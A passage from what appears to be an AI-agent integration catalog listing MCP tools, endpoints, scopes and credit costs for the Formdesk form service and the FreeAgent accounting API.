Scopes: api. formdesk_delete_by_domain_formresults_by_id_formresult (write, destructive) — Deletes one result by entry id. The entry is still readable for 30 days with `_fd_deleted` set, but any file uploaded to it is lost immediately. Costs 1 API credit. DELETE /api/v1/formdesk/formresults/{id_formresult}. Scopes: api. formdesk_delete_by_domain_formresults_by_id_formresult_files (write, destructive) — Deletes every file uploaded to one result by entry id. The files are gone; the result itself stays. Costs 1 API credit. DELETE /api/v1/formdesk/formresults/{id_formresult}/files. Scopes: api. formdesk_delete_by_domain_forms_by_form_files (write, destructive) — Deletes every file uploaded to EVERY result of the form, in one call. Costs 1 API credit. DELETE /api/v1/formdesk/forms/{form}/files. Scopes: api. formdesk_delete_by_domain_users_by_id_user (write, destructive) — Permanently deletes one Formdesk user by user id. Requires a key belonging to a SUPERVISOR. Costs 1 API credit. DELETE /api/v1/formdesk/users/{id_user}. Scopes: api. formdesk_delete_by_domain_visitors_by_id_visitor (write, destructive) — Permanently deletes one visitor by visitor id. Requires a key belonging to a SUPERVISOR. Costs 1 API credit. DELETE /api/v1/formdesk/visitors/{id_visitor}. Scopes: api. formdesk_get_by_domain_files (read) — Lists the account's files: those attached to result entries and those uploaded into the account, such as images used on forms and email attachments. Costs 1 API credit. GET /api/v1/formdesk/files. Scopes: api. formdesk_get_by_domain_files_by_id_file (read) — Returns the details of one file by file id -- not its content. Costs 1 API credit. GET /api/v1/formdesk/files/{id_file}. Scopes: api. formdesk_get_by_domain_files_by_id_file_content (read) — Downloads one file's content by file id. Formdesk answers with the BYTES; this tool returns the content type, the length, the filename from the content-disposition header and the content as base64 when it is within Agentic Fabriq's inline ceiling, and describes it without the bytes when it is larger. A file id comes from Get form result or from one of the file listings. Costs 1 API credit. GET /api/v1/formdesk/files/{id_file}/content. Scopes: api. formdesk_get_by_domain_formresults_by_id_formresult (read) — Returns every answer and system field of one result by entry id. A deleted result is still returned for 30 days (with `_fd_deleted` set); files uploaded to a deleted entry are gone. Costs 1 API credit. GET /api/v1/formdesk/formresults/{id_formresult}. Scopes: api. formdesk_get_by_domain_formresults_by_id_formresult_files (read) — Lists the files uploaded to one result by entry id. Costs 1 API credit. GET /api/v1/formdesk/formresults/{id_formresult}/files. Scopes: api. formdesk_get_by_domain_formresults_by_id_formresult_workflow (read) — Returns the workflow steps recorded against one result by entry id. Costs 1 API credit. GET /api/v1/formdesk/formresults/{id_formresult}/workflow. Scopes: api. formdesk_get_by_domain_forms (read) — Lists the forms in the account folder. Costs 1 API credit. GET /api/v1/formdesk/forms. Scopes: api. formdesk_get_by_domain_forms_by_form_files (read) — Lists the files uploaded to every result of the form. Costs 1 API credit. GET /api/v1/formdesk/forms/{form}/files. Scopes: api. formdesk_get_by_domain_forms_by_form_filters (read) — Lists the names of the filters defined for the form; the definitions themselves are not returned. A name can be passed as `view` to the result listing and export tools. Costs 1 API credit. GET /api/v1/formdesk/forms/{form}/filters. Scopes: api. formdesk_get_by_domain_forms_by_form_items (read) — Lists every item on the form that takes input and has an identifier, with its type (text, textarea, radiogroup, checkboxgroup, listbox, checkbox, userlist and so on). This is how to learn the field identifiers the result tools write to. Costs 1 API credit. GET /api/v1/formdesk/forms/{form}/items. Scopes: api. formdesk_get_by_domain_forms_by_form_results (read) — Lists the entry ids of the form's results, narrowed by the query parameters. Results already marked processed are not returned. Costs 1 API credit. GET /api/v1/formdesk/forms/{form}/results. Scopes: api. formdesk_get_by_domain_users (read) — Lists the Formdesk user accounts in the folder. Costs 1 API credit. GET /api/v1/formdesk/users. Scopes: api. formdesk_get_by_domain_users_by_id_user (read) — Returns every property of one user by Formdesk user id. Costs 1 API credit. GET /api/v1/formdesk/users/{id_user}. Scopes: api. formdesk_get_by_domain_users_external_by_id_user_external (read) — Returns every property of one user by the external id an identity provider knows them by, rather than by Formdesk's own id. Costs 1 API credit. GET /api/v1/formdesk/users/external/{id_user_external}. Scopes: api. formdesk_get_by_domain_visitors (read) — Lists the visitor accounts in the folder -- the logins that reach forms, as distinct from Formdesk users. Costs 1 API credit. GET /api/v1/formdesk/visitors. Scopes: api. formdesk_get_by_domain_visitors_by_id_visitor (read) — Returns every property of one visitor by visitor id. Costs 1 API credit. GET /api/v1/formdesk/visitors/{id_visitor}. Scopes: api. formdesk_get_by_domain_visitors_by_id_visitor_formresults (read) — Lists the entry ids of every login-form result belonging to one visitor. Costs 1 API credit. GET /api/v1/formdesk/visitors/{id_visitor}/formresults. Scopes: api. formdesk_get_by_domain_visitors_external_by_id_visitor_external (read) — Returns every property of one visitor by the external id an identity provider knows them by. Costs 1 API credit. GET /api/v1/formdesk/visitors/external/{id_visitor_external}. Scopes: api. formdesk_post_by_domain_formresults_by_id_formresult_pdf (read) — Renders one result as a PDF. Formdesk answers with the PDF BYTES; this tool returns the content type, the length, the filename from the content-disposition header and the PDF as base64 when it is within Agentic Fabriq's inline ceiling, and describes it without the bytes when it is larger. Costs 1 API credit. POST /api/v1/formdesk/formresults/{id_formresult}/pdf. Scopes: api. formdesk_post_by_domain_forms_by_form_results (write) — Adds one or more result entries to the form. The body is an ARRAY of entries, keyed by the form's own field identifiers (see List form items); a single entry may be sent as a bare object. At most 10 entries per call. A file is sent as `{"filename": ..., "content": ""}`. With several entries Formdesk always answers a success status and reports per-entry failures in an `errors` array. Costs 1 API credit per entry. POST /api/v1/formdesk/forms/{form}/results. Scopes: api. formdesk_post_by_domain_forms_by_form_results_export (read) — Exports the form's results to a file in the requested format and answers with the export's download links (`files[]._links.content`). The query parameters narrow which entries are exported, exactly as on the result listing. COSTS ONE CREDIT PER COMPLETED FORM in the download, not one per call. Results already marked processed are not exported. POST /api/v1/formdesk/forms/{form}/results/export. Scopes: api. formdesk_post_by_domain_forms_by_form_signon (write) — Returns a single sign-on link that opens the form for the named visitor without their username and password. Identify them by `username`, `email` or `id`. The link grants that visitor's access, so treat the answer as a credential. Costs 1 API credit. POST /api/v1/formdesk/forms/{form}/signon. Scopes: api. formdesk_post_by_domain_park (write) — Parks form field values temporarily and returns a 32-character ticket. Passing that ticket to a form as `?ticket=` pre-fills it, so no field values need to travel in the form's own URL. Costs 1 API credit. POST /api/v1/formdesk/park. Scopes: api. formdesk_post_by_domain_signon (write) — Returns a single sign-on link that signs the named Formdesk user in without their username and password. Identify them by `username`, `email` or `id`. Requires a key belonging to a SUPERVISOR. The link grants that user's access, so treat the answer as a credential. Costs 1 API credit. POST /api/v1/formdesk/signon. Scopes: api. formdesk_post_by_domain_users (write) — Creates a Formdesk user. Requires a key belonging to a SUPERVISOR. An ordinary user needs `name`, `email`, `username` and `password`; a user provisioned from an identity provider needs only `type` set to "external" plus `external_userid` and `external_provider`, and its other fields are filled from the provider's claims on first sign-in. Costs 1 API credit. POST /api/v1/formdesk/users. Scopes: api. formdesk_post_by_domain_visitors (write) — Creates a visitor account. Requires a key belonging to a SUPERVISOR. An ordinary visitor needs `name`, `email` and `username`; a visitor provisioned from an identity provider needs only `type` set to "external" plus `external_userid` and `external_provider`. Costs 1 API credit. POST /api/v1/formdesk/visitors. Scopes: api. formdesk_put_by_domain_formresults_by_id_formresult (write) — Updates the answers of one result by entry id; the body is keyed by the form's own field identifiers. Costs 1 API credit. PUT /api/v1/formdesk/formresults/{id_formresult}. Scopes: api. formdesk_put_by_domain_formresults_by_id_formresult_increment (write) — Increments a numeric field of one result by entry id, locking the record so the resulting value is unique. Costs 1 API credit. PUT /api/v1/formdesk/formresults/{id_formresult}/increment. Scopes: api. formdesk_put_by_domain_formresults_by_id_formresult_processed (write) — Marks one result's synchronisation status as Processed (P). A processed result is then skipped by the result listing and the export, which is how a polling integration avoids reading the same entry twice. Costs 1 API credit. PUT /api/v1/formdesk/formresults/{id_formresult}/processed. Scopes: api. formdesk_put_by_domain_users_by_id_user (write) — Updates one user's properties by Formdesk user id. Requires a key belonging to a SUPERVISOR. The password cannot be changed here -- Formdesk's own update request carries no password field. Costs 1 API credit. PUT /api/v1/formdesk/users/{id_user}. Scopes: api. formdesk_put_by_domain_visitors_by_id_visitor (write) — Updates one visitor's properties by visitor id. Requires a key belonging to a SUPERVISOR. Costs 1 API credit. PUT /api/v1/formdesk/visitors/{id_visitor}. Scopes: api. ================================================================================ ## FreeAgent URL: https://www.agenticfabriq.com/integrations/freeagent Section: Integrated Tools FreeAgent — 148 MCP tools Provider key: freeagent. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. freeagent_delete_v2_attachments_by_id (write, destructive) — Delete attachment via DELETE /v2/attachments/{id} DELETE /api/v1/freeagent/v2/attachments/{id}. Scopes: api. freeagent_delete_v2_bank_accounts_by_id (write, destructive) — Delete bank account via DELETE /v2/bank_accounts/{id} DELETE /api/v1/freeagent/v2/bank_accounts/{id}. Scopes: api. freeagent_delete_v2_bank_transaction_explanations_by_id (write, destructive) — Delete a bank transaction explanation via DELETE /v2/bank_transaction_explanations/{id} DELETE /api/v1/freeagent/v2/bank_transaction_explanations/{id}. Scopes: api. freeagent_delete_v2_bills_by_id (write, destructive) — Delete bill via DELETE /v2/bills/{id} DELETE /api/v1/freeagent/v2/bills/{id}. Scopes: api. freeagent_delete_v2_capital_asset_types_by_id (write, destructive) — Delete capital asset type via DELETE /v2/capital_asset_types/{id} DELETE /api/v1/freeagent/v2/capital_asset_types/{id}. Scopes: api. freeagent_delete_v2_categories_by_nominal_code (write, destructive) — Delete category via DELETE /v2/categories/{nominal_code} DELETE /api/v1/freeagent/v2/categories/{nominal_code}. Scopes: api. freeagent_delete_v2_contacts_by_id (write, destructive) — Delete contact via DELETE /v2/contacts/{id} DELETE /api/v1/freeagent/v2/contacts/{id}. Scopes: api. freeagent_delete_v2_credit_note_reconciliations_by_id (write, destructive) — Delete credit note reconciliation via DELETE /v2/credit_note_reconciliations/{id} DELETE /api/v1/freeagent/v2/credit_note_reconciliations/{id}. Scopes: api. freeagent_delete_v2_credit_notes_by_id (write, destructive) — Delete credit notes via DELETE /v2/credit_notes/{id} DELETE /api/v1/freeagent/v2/credit_notes/{id}. Scopes: api. freeagent_delete_v2_estimate_items_by_id (write, destructive) — Delete estimate item via DELETE /v2/estimate_items/{id} DELETE /api/v1/freeagent/v2/estimate_items/{id}. Scopes: api. freeagent_delete_v2_estimates_by_id (write, destructive) — Delete estimate via DELETE /v2/estimates/{id} DELETE /api/v1/freeagent/v2/estimates/{id}. Scopes: api. freeagent_delete_v2_expenses_by_id (write, destructive) — Delete expense via DELETE /v2/expenses/{id} DELETE /api/v1/freeagent/v2/expenses/{id}. Scopes: api. freeagent_delete_v2_invoices_by_id (write, destructive) — Delete invoice via DELETE /v2/invoices/{id} DELETE /api/v1/freeagent/v2/invoices/{id}. Scopes: api. freeagent_delete_v2_journal_sets_by_id (write, destructive) — Delete a journal set via DELETE /v2/journal_sets/{id} DELETE /api/v1/freeagent/v2/journal_sets/{id}. Scopes: api. freeagent_delete_v2_notes_by_id (write, destructive) — Delete a note via DELETE /v2/notes/{id} DELETE /api/v1/freeagent/v2/notes/{id}. Scopes: api. freeagent_delete_v2_projects_by_id (write, destructive) — Delete project via DELETE /v2/projects/{id} DELETE /api/v1/freeagent/v2/projects/{id}. Scopes: api. freeagent_delete_v2_properties_by_id (write, destructive) — Delete a property via DELETE /v2/properties/{id} DELETE /api/v1/freeagent/v2/properties/{id}. Scopes: api. freeagent_delete_v2_sales_tax_periods_by_id (write, destructive) — Delete a sales tax period via DELETE /v2/sales_tax_periods/{id} DELETE /api/v1/freeagent/v2/sales_tax_periods/{id}. Scopes: api. freeagent_delete_v2_tasks_by_id (write, destructive) — Delete task via DELETE /v2/tasks/{id} DELETE /api/v1/freeagent/v2/tasks/{id}. Scopes: api. freeagent_delete_v2_timeslips_by_id (write, destructive) — Delete a timeslip via DELETE /v2/timeslips/{id} DELETE /api/v1/freeagent/v2/timeslips/{id}. Scopes: api. freeagent_delete_v2_timeslips_by_id_timer (write, destructive) — Stop a timer via DELETE /v2/timeslips/{id}/timer DELETE /api/v1/freeagent/v2/timeslips/{id}/timer. Scopes: api. freeagent_delete_v2_users_by_id (write, destructive) — Delete a user via DELETE /v2/users/{id} DELETE /api/v1/freeagent/v2/users/{id}. Scopes: api. freeagent_get_v2_accounting_profit_and_loss_summary (read) — Get the p l summary via GET /v2/accounting/profit_and_loss/summary GET /api/v1/freeagent/v2/accounting/profit_and_loss/summary. Scopes: api. freeagent_get_v2_accounting_trial_balance_summary (read) — Get the trial balance summary via GET /v2/accounting/trial_balance/summary GET /api/v1/freeagent/v2/accounting/trial_balance/summary. Scopes: api. freeagent_get_v2_accounting_trial_balance_summary_opening_balances (read) — Get the opening balances via GET /v2/accounting/trial_balance/summary/opening_balances GET /api/v1/freeagent/v2/accounting/trial_balance/summary/opening_balances. Scopes: api. freeagent_get_v2_attachments_by_id (read) — Show attachment via GET /v2/attachments/{id} GET /api/v1/freeagent/v2/attachments/{id}. Scopes: api. freeagent_get_v2_bank_accounts (read) — List bank accounts via GET /v2/bank_accounts GET /api/v1/freeagent/v2/bank_accounts. Scopes: api. freeagent_get_v2_bank_accounts_by_id (read) — Show bank account via GET /v2/bank_accounts/{id} GET /api/v1/freeagent/v2/bank_accounts/{id}. Scopes: api. freeagent_get_v2_bank_transaction_explanations (read) — List all bank transaction explanations via GET /v2/bank_transaction_explanations GET /api/v1/freeagent/v2/bank_transaction_explanations. Scopes: api. freeagent_get_v2_bank_transaction_explanations_by_id (read) — Get a single bank transaction explanation via GET /v2/bank_transaction_explanations/{id} GET /api/v1/freeagent/v2/bank_transaction_explanations/{id}. Scopes: api. freeagent_get_v2_bank_transactions (read) — List all bank transactions under a certain bank account via GET /v2/bank_transactions GET /api/v1/freeagent/v2/bank_transactions. Scopes: api. freeagent_get_v2_bank_transactions_by_id (read) — Get a single bank transaction via GET /v2/bank_transactions/{id} GET /api/v1/freeagent/v2/bank_transactions/{id}. Scopes: api. freeagent_get_v2_bill_items (read) — List bill items via GET /v2/bill_items GET /api/v1/freeagent/v2/bill_items. Scopes: api. freeagent_get_v2_bill_items_by_bill_item_id (read) — Show bill item via GET /v2/bill_items/{bill_item_id} GET /api/v1/freeagent/v2/bill_items/{bill_item_id}. Scopes: api. freeagent_get_v2_bills (read) — List bills via GET /v2/bills GET /api/v1/freeagent/v2/bills. Scopes: api. freeagent_get_v2_bills_by_id (read) — Show bill via GET /v2/bills/{id} GET /api/v1/freeagent/v2/bills/{id}. Scopes: api. freeagent_get_v2_capital_asset_types (read) — List all capital asset types via GET /v2/capital_asset_types GET /api/v1/freeagent/v2/capital_asset_types. Scopes: api. freeagent_get_v2_capital_asset_types_by_id (read) — Get a single capital asset type via GET /v2/capital_asset_types/{id} GET /api/v1/freeagent/v2/capital_asset_types/{id}. Scopes: api. freeagent_get_v2_capital_assets (read) — List all capital assets via GET /v2/capital_assets GET /api/v1/freeagent/v2/capital_assets. Scopes: api. freeagent_get_v2_capital_assets_by_id (read) — Get a single capital asset via GET /v2/capital_assets/{id} GET /api/v1/freeagent/v2/capital_assets/{id}. Scopes: api. freeagent_get_v2_cashflow (read) — Cashflow summary for a given date range via GET /v2/cashflow GET /api/v1/freeagent/v2/cashflow. Scopes: api. freeagent_get_v2_categories (read) — List categories via GET /v2/categories GET /api/v1/freeagent/v2/categories. Scopes: api. freeagent_get_v2_categories_by_nominal_code (read) — Get a single category via GET /v2/categories/{nominal_code} GET /api/v1/freeagent/v2/categories/{nominal_code}. Scopes: api. freeagent_get_v2_cis_bands (read) — List all cis bands for a company via GET /v2/cis_bands GET /api/v1/freeagent/v2/cis_bands. Scopes: api. freeagent_get_v2_company (read) — Company details via GET /v2/company GET /api/v1/freeagent/v2/company. Scopes: api. freeagent_get_v2_company_business_categories (read) — List business categories via GET /v2/company/business_categories GET /api/v1/freeagent/v2/company/business_categories. Scopes: api. freeagent_get_v2_company_tax_timeline (read) — Show tax timeline via GET /v2/company/tax_timeline GET /api/v1/freeagent/v2/company/tax_timeline. Scopes: api. freeagent_get_v2_contacts (read) — List contacts via GET /v2/contacts GET /api/v1/freeagent/v2/contacts. Scopes: api. freeagent_get_v2_contacts_by_id (read) — Show contact via GET /v2/contacts/{id} GET /api/v1/freeagent/v2/contacts/{id}. Scopes: api. freeagent_get_v2_credit_note_reconciliations (read) — List credit note reconciliations via GET /v2/credit_note_reconciliations GET /api/v1/freeagent/v2/credit_note_reconciliations. Scopes: api. freeagent_get_v2_credit_note_reconciliations_by_id (read) — Show credit note reconciliation via GET /v2/credit_note_reconciliations/{id} GET /api/v1/freeagent/v2/credit_note_reconciliations/{id}. Scopes: api. freeagent_get_v2_credit_notes (read) — List credit notes via GET /v2/credit_notes GET /api/v1/freeagent/v2/credit_notes. Scopes: api. freeagent_get_v2_credit_notes_by_id (read) — Show credit note via GET /v2/credit_notes/{id} GET /api/v1/freeagent/v2/credit_notes/{id}. Scopes: api. freeagent_get_v2_credit_notes_by_id_pdf (read) — Show credit note as pdf via GET /v2/credit_notes/{id}/pdf GET /api/v1/freeagent/v2/credit_notes/{id}/pdf. Scopes: api. freeagent_get_v2_email_addresses (read) — Get a list of verified sender email addresses via GET /v2/email_addresses GET /api/v1/freeagent/v2/email_addresses. Scopes: api. freeagent_get_v2_estimates (read) — List estimates via GET /v2/estimates GET /api/v1/freeagent/v2/estimates. Scopes: api. freeagent_get_v2_estimates_by_id (read) — Show estimate via GET /v2/estimates/{id} GET /api/v1/freeagent/v2/estimates/{id}. Scopes: api. freeagent_get_v2_estimates_by_id_pdf (read) — Show estimate as pdf via GET /v2/estimates/{id}/pdf GET /api/v1/freeagent/v2/estimates/{id}/pdf. Scopes: api. freeagent_get_v2_expenses (read) — List all expenses via GET /v2/expenses GET /api/v1/freeagent/v2/expenses. Scopes: api. freeagent_get_v2_expenses_by_id (read) — Get a single expense via GET /v2/expenses/{id} GET /api/v1/freeagent/v2/expenses/{id}. Scopes: api. freeagent_get_v2_expenses_mileage_settings (read) — Get mileage settings via GET /v2/expenses/mileage_settings GET /api/v1/freeagent/v2/expenses/mileage_settings. Scopes: api. freeagent_get_v2_invoices (read) — List invoices via GET /v2/invoices GET /api/v1/freeagent/v2/invoices. Scopes: api. freeagent_get_v2_invoices_by_id (read) — Show invoice via GET /v2/invoices/{id} GET /api/v1/freeagent/v2/invoices/{id}. Scopes: api. freeagent_get_v2_invoices_by_id_pdf (read) — Show invoice as pdf via GET /v2/invoices/{id}/pdf GET /api/v1/freeagent/v2/invoices/{id}/pdf. Scopes: api. freeagent_get_v2_invoices_timeline (read) — Get invoice timeline via GET /v2/invoices/timeline GET /api/v1/freeagent/v2/invoices/timeline. Scopes: api. freeagent_get_v2_journal_sets (read) — List all journal sets via GET /v2/journal_sets GET /api/v1/freeagent/v2/journal_sets. Scopes: api. freeagent_get_v2_journal_sets_by_id (read) — Get a single journal set via GET /v2/journal_sets/{id} GET /api/v1/freeagent/v2/journal_sets/{id}. Scopes: api. freeagent_get_v2_journal_sets_opening_balances (read) — Get the opening balances via GET /v2/journal_sets/opening_balances GET /api/v1/freeagent/v2/journal_sets/opening_balances. Scopes: api. freeagent_get_v2_notes (read) — List notes via GET /v2/notes GET /api/v1/freeagent/v2/notes. Scopes: api. freeagent_get_v2_notes_by_id (read) — Get a single note via GET /v2/notes/{id} GET /api/v1/freeagent/v2/notes/{id}. Scopes: api. freeagent_get_v2_payroll_by_year (read) — List all periods for a given tax year via GET /v2/payroll/{year} GET /api/v1/freeagent/v2/payroll/{year}. Scopes: api. freeagent_get_v2_payroll_by_year_by_period (read) — List all payslips for a given period via GET /v2/payroll/{year}/{period} GET /api/v1/freeagent/v2/payroll/{year}/{period}. Scopes: api. freeagent_get_v2_payroll_profiles_by_year (read) — List all profiles for a given tax year via GET /v2/payroll_profiles/{year} GET /api/v1/freeagent/v2/payroll_profiles/{year}. Scopes: api. freeagent_get_v2_price_list_items (read) — List all price list items via GET /v2/price_list_items GET /api/v1/freeagent/v2/price_list_items. Scopes: api. freeagent_get_v2_price_list_items_by_id (read) — Get a single price list item via GET /v2/price_list_items/{id} GET /api/v1/freeagent/v2/price_list_items/{id}. Scopes: api. freeagent_get_v2_projects (read) — List projects via GET /v2/projects GET /api/v1/freeagent/v2/projects. Scopes: api. freeagent_get_v2_projects_by_id (read) — Show project via GET /v2/projects/{id} GET /api/v1/freeagent/v2/projects/{id}. Scopes: api. freeagent_get_v2_properties (read) — List all properties via GET /v2/properties GET /api/v1/freeagent/v2/properties. Scopes: api. freeagent_get_v2_properties_by_id (read) — Get a single property via GET /v2/properties/{id} GET /api/v1/freeagent/v2/properties/{id}. Scopes: api. freeagent_get_v2_recurring_invoices (read) — List all recurring invoices via GET /v2/recurring_invoices GET /api/v1/freeagent/v2/recurring_invoices. Scopes: api. freeagent_get_v2_recurring_invoices_by_id (read) — Show recurring invoice via GET /v2/recurring_invoices/{id} GET /api/v1/freeagent/v2/recurring_invoices/{id}. Scopes: api. freeagent_get_v2_sales_tax_periods (read) — List all sales tax periods for a company via GET /v2/sales_tax_periods GET /api/v1/freeagent/v2/sales_tax_periods. Scopes: api. freeagent_get_v2_sales_tax_periods_by_id (read) — Get a single sales tax period via GET /v2/sales_tax_periods/{id} GET /api/v1/freeagent/v2/sales_tax_periods/{id}. Scopes: api. freeagent_get_v2_stock_items (read) — List all stock items via GET /v2/stock_items GET /api/v1/freeagent/v2/stock_items. Scopes: api. freeagent_get_v2_stock_items_by_id (read) — Get a single stock item via GET /v2/stock_items/{id} GET /api/v1/freeagent/v2/stock_items/{id}. Scopes: api. freeagent_get_v2_tasks (read) — List all tasks via GET /v2/tasks GET /api/v1/freeagent/v2/tasks. Scopes: api. freeagent_get_v2_tasks_by_id (read) — Get a single task via GET /v2/tasks/{id} GET /api/v1/freeagent/v2/tasks/{id}. Scopes: api. freeagent_get_v2_timeslips (read) — List all timeslips via GET /v2/timeslips GET /api/v1/freeagent/v2/timeslips. Scopes: api. freeagent_get_v2_timeslips_by_id (read) — Get a single timeslip via GET /v2/timeslips/{id} GET /api/v1/freeagent/v2/timeslips/{id}. Scopes: api. freeagent_get_v2_users (read) — List all users via GET /v2/users GET /api/v1/freeagent/v2/users. Scopes: api. freeagent_get_v2_users_by_id (read) — Get a single user via GET /v2/users/{id} GET /api/v1/freeagent/v2/users/{id}. Scopes: api. freeagent_get_v2_users_me (read) — Get personal profile via GET /v2/users/me GET /api/v1/freeagent/v2/users/me. Scopes: api. freeagent_post_v2_bank_accounts (write) — Create bank account via POST /v2/bank_accounts POST /api/v1/freeagent/v2/bank_accounts. Scopes: api. freeagent_post_v2_bank_transaction_explanations (write) — Create a bank transaction explanation via POST /v2/bank_transaction_explanations POST /api/v1/freeagent/v2/bank_transaction_explanations. Scopes: api. freeagent_post_v2_bank_transactions_statement (write) — Upload a bank statement via POST /v2/bank_transactions/statement POST /api/v1/freeagent/v2/bank_transactions/statement. Scopes: api. freeagent_post_v2_bills (write) — Create bill via POST /v2/bills POST /api/v1/freeagent/v2/bills. Scopes: api. freeagent_post_v2_capital_asset_types (write) — Create capital asset type via POST /v2/capital_asset_types POST /api/v1/freeagent/v2/capital_asset_types. Scopes: api. freeagent_post_v2_categories (write) — Create category via POST /v2/categories POST /api/v1/freeagent/v2/categories. Scopes: api. freeagent_post_v2_contacts (write) — Create contact via POST /v2/contacts POST /api/v1/freeagent/v2/contacts. Scopes: api. freeagent_post_v2_credit_note_reconciliations (write) — Create credit note reconciliation via POST /v2/credit_note_reconciliations POST /api/v1/freeagent/v2/credit_note_reconciliations. Scopes: api. freeagent_post_v2_credit_notes (write) — Create credit note via POST /v2/credit_notes POST /api/v1/freeagent/v2/credit_notes. Scopes: api. freeagent_post_v2_credit_notes_by_id_send_email (write) — Send credit note email via POST /v2/credit_notes/{id}/send_email POST /api/v1/freeagent/v2/credit_notes/{id}/send_email. Scopes: api. freeagent_post_v2_estimate_items (write) — Create estimate item via POST /v2/estimate_items POST /api/v1/freeagent/v2/estimate_items. Scopes: api. freeagent_post_v2_estimates (write) — Create estimate via POST /v2/estimates POST /api/v1/freeagent/v2/estimates. Scopes: api. freeagent_post_v2_expenses (write) — Create expense via POST /v2/expenses POST /api/v1/freeagent/v2/expenses. Scopes: api. freeagent_post_v2_invoice_items (write) — Create invoice item via POST /v2/invoice_items POST /api/v1/freeagent/v2/invoice_items. Scopes: api. freeagent_post_v2_invoices (write) — Create invoice via POST /v2/invoices POST /api/v1/freeagent/v2/invoices. Scopes: api. freeagent_post_v2_invoices_by_id_direct_debit (write) — Take payment using go cardless direct debit mandate via POST /v2/invoices/{id}/direct_debit POST /api/v1/freeagent/v2/invoices/{id}/direct_debit. Scopes: api. freeagent_post_v2_invoices_by_id_send_email (write) — Send invoice email via POST /v2/invoices/{id}/send_email POST /api/v1/freeagent/v2/invoices/{id}/send_email. Scopes: api. freeagent_post_v2_journal_sets (write) — Create a journal set via POST /v2/journal_sets POST /api/v1/freeagent/v2/journal_sets. Scopes: api. freeagent_post_v2_notes (write) — Create a note via POST /v2/notes POST /api/v1/freeagent/v2/notes. Scopes: api. freeagent_post_v2_projects (write) — Create project via POST /v2/projects POST /api/v1/freeagent/v2/projects. Scopes: api. freeagent_post_v2_properties (write) — Create a new property via POST /v2/properties POST /api/v1/freeagent/v2/properties. Scopes: api. freeagent_post_v2_sales_tax_periods (write) — Create a sales tax period via POST /v2/sales_tax_periods POST /api/v1/freeagent/v2/sales_tax_periods. Scopes: api. freeagent_post_v2_tasks (write) — Create a task under a certain project via POST /v2/tasks POST /api/v1/freeagent/v2/tasks. Scopes: api. freeagent_post_v2_timeslips (write) — Create a timeslip via POST /v2/timeslips POST /api/v1/freeagent/v2/timeslips. Scopes: api. freeagent_post_v2_timeslips_by_id_timer (write) — Start a timer via POST /v2/timeslips/{id}/timer POST /api/v1/freeagent/v2/timeslips/{id}/timer. Scopes: api. freeagent_post_v2_users (write) — Create a user via POST /v2/users POST /api/v1/freeagent/v2/users. Scopes: api. freeagent_put_v2_bank_accounts_by_id (write) — Update bank account via PUT /v2/bank_accounts/{id} PUT /api/v1/freeagent/v2/bank_accounts/{id}. Scopes: api. freeagent_put_v2_bank_transaction_explanations_by_id (write) — Update a bank transaction explanation via PUT /v2/bank_transaction_explanations/{id} PUT /api/v1/freeagent/v2/bank_transaction_explanations/{id}. Scopes: api. freeagent_put_v2_bills_by_id (write) — Update bill via PUT /v2/bills/{id} PUT /api/v1/freeagent/v2/bills/{id}. Scopes: api. freeagent_put_v2_capital_asset_types_by_id (write) — Update capital asset type via PUT /v2/capital_asset_types/{id} PUT /api/v1/freeagent/v2/capital_asset_types/{id}. Scopes: api. freeagent_put_v2_categories_by_nominal_code (write) — Update category via PUT /v2/categories/{nominal_code} PUT /api/v1/freeagent/v2/categories/{nominal_code}. Scopes: api. freeagent_put_v2_contacts_by_id (write) — Update contact via PUT /v2/contacts/{id} PUT /api/v1/freeagent/v2/contacts/{id}. Scopes: api. freeagent_put_v2_credit_note_reconciliations_by_id (write) — Update credit note reconciliation via PUT /v2/credit_note_reconciliations/{id} PUT /api/v1/freeagent/v2/credit_note_reconciliations/{id}. Scopes: api. freeagent_put_v2_credit_notes_by_id (write) — Update credit note via PUT /v2/credit_notes/{id} PUT /api/v1/freeagent/v2/credit_notes/{id}. Scopes: api. freeagent_put_v2_credit_notes_by_id_transitions_mark_as_cancelled (write) — Mark credit note as cancelled via PUT /v2/credit_notes/{id}/transitions/mark_as_cancelled PUT /api/v1/freeagent/v2/credit_notes/{id}/transitions/mark_as_cancelled. Scopes: api. freeagent_put_v2_credit_notes_by_id_transitions_mark_as_draft (write) — Mark credit notes as draft via PUT /v2/credit_notes/{id}/transitions/mark_as_draft PUT /api/v1/freeagent/v2/credit_notes/{id}/transitions/mark_as_draft. Scopes: api. freeagent_put_v2_credit_notes_by_id_transitions_mark_as_sent (write) — Mark credit note as sent via PUT /v2/credit_notes/{id}/transitions/mark_as_sent PUT /api/v1/freeagent/v2/credit_notes/{id}/transitions/mark_as_sent. Scopes: api. freeagent_put_v2_estimate_items_by_id (write) — Update estimate item via PUT /v2/estimate_items/{id} PUT /api/v1/freeagent/v2/estimate_items/{id}. Scopes: api. freeagent_put_v2_estimates_by_id (write) — Update estimate via PUT /v2/estimates/{id} PUT /api/v1/freeagent/v2/estimates/{id}. Scopes: api. freeagent_put_v2_estimates_by_id_transitions_mark_as_approved (write) — Mark estimate as approved via PUT /v2/estimates/{id}/transitions/mark_as_approved PUT /api/v1/freeagent/v2/estimates/{id}/transitions/mark_as_approved. Scopes: api. freeagent_put_v2_estimates_by_id_transitions_mark_as_draft (write) — Mark estimate as draft via PUT /v2/estimates/{id}/transitions/mark_as_draft PUT /api/v1/freeagent/v2/estimates/{id}/transitions/mark_as_draft. Scopes: api. freeagent_put_v2_estimates_by_id_transitions_mark_as_rejected (write) — Mark estimate as rejected via PUT /v2/estimates/{id}/transitions/mark_as_rejected PUT /api/v1/freeagent/v2/estimates/{id}/transitions/mark_as_rejected. Scopes: api. freeagent_put_v2_estimates_by_id_transitions_mark_as_sent (write) — Mark estimate as sent via PUT /v2/estimates/{id}/transitions/mark_as_sent PUT /api/v1/freeagent/v2/estimates/{id}/transitions/mark_as_sent. Scopes: api. freeagent_put_v2_invoices_by_id (write) — Update invoice via PUT /v2/invoices/{id} PUT 